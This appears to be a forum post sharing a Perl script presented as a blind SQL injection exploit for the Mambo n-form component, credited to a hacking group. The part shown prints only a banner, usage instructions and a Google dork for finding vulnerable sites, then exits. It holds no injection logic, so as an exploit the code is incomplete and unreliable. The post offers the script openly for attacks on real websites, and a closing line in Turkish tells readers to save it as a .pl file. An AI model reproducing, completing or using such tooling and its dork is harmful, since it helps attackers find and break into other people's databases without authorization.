Kod:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
system("Title Kosova Hackers Group by boom3rang");
print " \n";
print " #######################################################################\n";
print " # Mambo Component n-form(form_id) Blind SQL Injection Exploit \n";
print " # -----------------------------------------------------------\n";
print " # Author: boom3rang [www.khg-crew.ws] \n";
print " # Greetz: H!tmaN, KHG, chs, redc00de - Kosova Hackers Group\n";
print " # Site: www.khg-crew.ws\n";
print " # -----------------------------------------------------------\n";
print " # Dork : inurl:option=com_n-forms form_id \n";
print " # Usage: perl exploit.pl host path <options> \n";
print " # Example: perl exploit.pl www.host.com /path/ -a 3 \n";
print " # -----------------------------------------------------------\n";
print " # Options: \n";
print " # -a valid form id \n";
print " #######################################################################\n";
exit;
}
anlatgım exploit icindedir acıp .pl dieye kaydedin